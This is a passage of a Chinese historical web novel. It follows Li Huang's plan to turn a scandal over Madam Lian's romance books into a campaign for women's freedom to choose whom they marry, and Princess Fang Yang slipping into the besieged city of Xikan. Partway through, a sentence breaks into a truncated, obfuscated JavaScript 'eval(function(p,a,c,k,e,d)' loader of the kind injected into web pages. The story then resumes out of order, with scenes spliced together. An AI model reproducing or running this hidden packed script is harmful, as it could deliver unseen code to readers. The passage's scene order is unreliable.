“陆小姐得知此事,便是如何都不肯嫁,与其父争吵间,提及了风月本子中女子自己择夫选婿之事,其父觉得此言简直闻所未闻、有悖常理,怀疑有人挑唆陆小姐,于是派人循着线索去查,如今已经查到连夫人头上了......” 勾衡听到这儿,为连棠担忧,眉毛都皱起来了。 “连夫人的风月本子名气大,各家小姐都爱看,甚至在双宵城内都有不少读者,但同时也惹了不少男人记恨,觉得本子中所写的,有伤男子气概,矮化、污名化男人,陆老爷此番‘清剿’连夫人,得了很多男人的支持,怕是来势汹汹。” 李晃说完,看向勾衡,问他:“依你看,此事何解?” 18. 第十八章 西阚城位于大荆的西北方,干旱、少雨,夏日灼人、冬日苦寒,春天也比别的地方来得更晚。 方漾裹着头巾和面巾,低头混进入城队伍里。 赤蛟部落在西阚更北,主战场在北城门,西城门常年关着,南城门则是主要供运货的商贾进出,东城门都是些普通百姓往来,搜查没那么严格。 方漾走的就是东城门。 城门口的士兵脸上尽是疲惫,甚至有的人嘴角眉梢还带着伤,下颌的血迹也只是匆匆擦了一下,看起来又脏又凶。 “包袱里装的什么?”士兵说话粗声粗气的。 方漾将包袱打开,里面只有几件衣裳。 “路引呢?”士兵翻检完包袱,伸手问方漾要东西。 方漾自然不可能有路引,这些士兵都是受过培训的,假路引不可能骗得过去,她索性就没找人伪造。 本想着若是城门口够乱的话,她或许能混过去,但看眼下的情境,怕是要先离开,等夜里有机会再潜入了。 她假意翻找着包袱,正想抬头说找不到了,要回驿站去找,就听隔壁队伍起了争执。 “我走得急,没带路引出来,我娘在城里,她腿脚不便走不了路,我带各位大爷去家里看路引行吗?”一个中年男人双手抱拳,弓腰驼背,恳求着士兵网开一面。 方漾面前这位似乎是士兵的头儿,听到吵嚷声,他转头从远处招了个士兵替上来,自己则转身去调解矛盾了。 新来的士兵看着年纪很小,脸上的青涩藏都藏不住,对上方漾唯一露在外面的双眸时还愣了一下。 “刚才那位大爷已经查看过我的路引了。”方漾说着,将包袱收拾好,低头往城里走。 小士兵哪里有那么多心思,只默默猜测有着那样一双眼睛的方漾应当长得很端正,长相端正的女子在乱世很难存活。 看着方漾进城的背影,小士兵在心中为她祈祷:希望她能进城躲躲这乱世吧。 西阚城内十分萧条,街上开着的大多是米粮店和药店,家家户户大门紧闭。 偶尔看见几家开着门户的,里头却是蛛网横结。 方漾先摸去了巡逻兵的休息处。 西阚相比中原地区来说算得上十分穷苦,赤蛟部落来袭前连驻地士兵都少得可怜,更别提休息处的条件。 方漾背靠着树干隐藏身形,侧头去查看矮土屋里的情况。 巡逻兵的休息处就是一座用土糊出来的矮房子,上面开了一个小小的窗户,窗户用薄薄的窗纸贴上了,似是觉得闷,上面戳了几个洞呼吸用。 方漾看见士兵们都进了屋子,门被关上,她一个闪身翻滚到窗户下,没发出一点声响。 士兵们交谈的声音透过薄薄的窗户纸隐隐约约传了出来。 “这仗什么时候能打完啊......” “谁知道呢?我们西阚的壮劳力几乎都死在战场上了,别处征来的兵要么逃跑,要么一上战场就变成软脚虾,胡将军再厉害,也没法一个人打胜仗啊......” “如果军中能多有几个胡将军和金副将那样的人就好了。” “胡将军资历深,金副将天生神力,一个靠本事积累,一个是老天爷赏饭吃,这世上哪有那么多人才愿意待在我们西阚的?” 方漾垂下眸子,没再听士兵们的唉声叹气,转身离开了。 她已经从士兵的对谈中获得了自己想要的信息。 首先,胡老将军离世的消息还没有传扬出去,就连西阚自己的士兵都不知道。 其次,西阚目前的兵力应该没有方勤时说的那么多,出去逃兵和软脚虾,真正有战斗力的士兵剩不了多少。 最后,她确认了金谷还像前世一样,在胡将军身边做副将。 金谷是胡将军的副将,也是她的副将。 前世她刚来西阚时,很多士兵都不信任她这个新来的女将领。 虽然涵柘战场的功绩他们早有耳闻,但心中都暗暗怀疑这都是方勤时为了哄公主,特意把别人的功绩挪给了公主。 军中不服管教者众多,方漾有的是法子治他们,但战事吃紧,她没时间顾这些。 为难之际,是金谷站了出来,公开表态跟随她的指挥。 军中人心不散,是打胜仗的关键因素。有了金谷这个副将的助力,军心很快被方漾收了回来。 方漾一直觉得很疑惑,金谷此人看着老实憨厚,除了一身力气外,这头脑应当不可能在军中混到副将高位。 这疑惑一直持续到了前世西阚战胜,回临占领赏的前夜,金谷乐呵呵把自己的夫人领到了方漾面前。 金谷的夫人和金谷一样,都是西阚本地人,两人青梅竹马、两小无猜。 金谷参军那年,他的夫人赵欢喜披上红嫁衣进了他家的门。 金谷母亲体弱,父亲又劳累过度,都早早离世,邻居们都说他没了双亲,怕是要打一辈子光棍。 后来听闻他要参军,邻居们又都说他这下更难娶老婆了。 毕竟战场凶险,有来有回的是少数,多的是殒命沙场的,谁家女子会冒着守寡的风险嫁给他呢? 赵欢喜会。 赵欢喜算得上西阚城内的“奇女子”,母亲生她时难产去世,她从小跟父亲相依为命,养成了泼辣性格。 城里不许女子读书,她就偷偷扒在墙头听,被先生发现了转头就跑,为此摔过好几次跤。 后来长大了些,她就全权接手了父亲的米粮店,运货、谈价、记账、买卖,都是她一手操办。 旁人见了都夸一句“能干”,却无人敢替她说媒。毕竟这样强硬又泼辣的女子,寻常人家都不肯要。 金谷要。 两人的婚事办得很简单,穿着红衣裳请邻里乡亲们吃了一夜酒,次日金谷就上了战场。 听金谷说,他起先在营中并算不上出色,也看不懂军中的暗流,上头给他派了搬粮草的差事,怕他们偷懒,还让人执鞭盯着他们。 金谷搬粮搬得憋屈,回家探亲时便同赵欢喜说了此事。 赵欢喜当时在算账,闻言便随口道:“你下次去搬粮,多搬一袋,你不是力气大吗?别人一袋一袋搬,你就两袋两袋搬。” “为什么?”金谷不明白。 赵欢喜抬起账簿敲了一下金谷的脑袋:“搬粮的都是新兵?” “嗯。”金谷被敲了脑袋也不生气,看见赵欢喜的目光终于落到自己身上了,他还憨笑了一下。 “那就是了,新兵又不会打仗,你们将军总要看看你们的能力和心性吧?盯着你们的那人应该不会随意打骂你们吧?” “是的。”金谷若有所思,点点头。 “那就是在观察你们的潜力呢,你多展现展现力气,对执鞭那人嘴甜客气些。” 金谷照着她说的去做,没过多久就被单独叫走,加入正式训练了。 从此以后,他每每有想不通的事,就会在回家探亲时说给赵欢喜听。 赵欢喜手头事多,性子又爆,经常为手下人拿鸡毛蒜皮的小事来烦自己而发火,但面对金谷说的这些小事,她却每次都能耐住性子给他分析、答疑。 可以说金谷能有今天,大半功劳都是赵欢喜的。 前世见赵欢喜那夜,方漾同她聊了许多,两人相见恨晚,约定等方漾在临占领完赏,就回西阚城同赵欢喜喝上个三天三夜。 只是前世的赵欢喜没等来方漾。 方漾找到金谷家时,天色已是全黑了。 土屋院子算不得华丽,却很是质朴结实。 黑漆漆的夜色中,莹莹烛火将书房点亮,媒婆趴在书桌上,压着纸张一角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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勾衡听着频频点头,有些入迷了,情不自禁走到李晃身边,朝他摊了摊手,表示自己想不到别的方法了。 李晃笑着看向他,道:“格局放大点,连夫人此事可大可小,与其悄无声息解决它,不如闹得再大些,最好变成一道飓风,将大荆这些污糟的风气都刮一刮。” 勾衡听不懂,但直觉李晃似乎要有大动作了。 果然,下一刻,李晃眯了眯眼睛,缓缓道:“我会让人给葫芦镇和双宵城里的小姐们去信,将连夫人处境告知。” 勾衡不解:只是喜欢连夫人写的风月本子,难道那些小姐们真会因此向连夫人伸出援手吗? 李晃看透了他的疑惑,继续道:“小姐们当然不会因此就出手,但若将陆小姐的事也一并告知呢?” 他的眼睛清澈又有神,带着一丝狡黠:“若连夫人的事不能妥善处理,陆小姐嫁入闵家,那其余还未婚嫁的小姐们会不会怕祸及自身呢?” 勾衡蹙眉:老师想把事情闹大,让这件事不再局限于风月本子是否应该流入书局,而是挑起婚嫁自由之论。 但他不明白,做这件事,对李晃有什么好处? 勾衡的心思都写在脸上,李晃忍不住出声提醒:“我先前怎么跟你说的?心思不要露在面上,别人看透你在想什么,就已经比你多走了一步,你还怎么胜?” 勾衡忙收了表情。 李晃问:“你想问我,如此闹大事情,对我有什么好处?” 勾衡木着脸点头。 李晃的眼中由狡黠转为坚定,光芒却不减半分:“我要给阿漾扫出一条路来,通往皇位的路。” 他的脸上不再有调侃和轻松,而是严肃与认真,看着......野心勃勃。 勾衡在李晃这段日子的教导下,大致了解了大荆如今的状况,自然也知道朝野上的流派纷争。 李晃这是在为方漾从西阚凯旋后登上皇位而收取民心。 女子婚嫁自由只是个由头,若能引得女子们团结一致,拥有自我意识,那么大荆出现第二位女皇帝就不会只有男子反对的声音。 大荆千千万万女子的声音,将会是方漾登上皇位不可或缺的助力。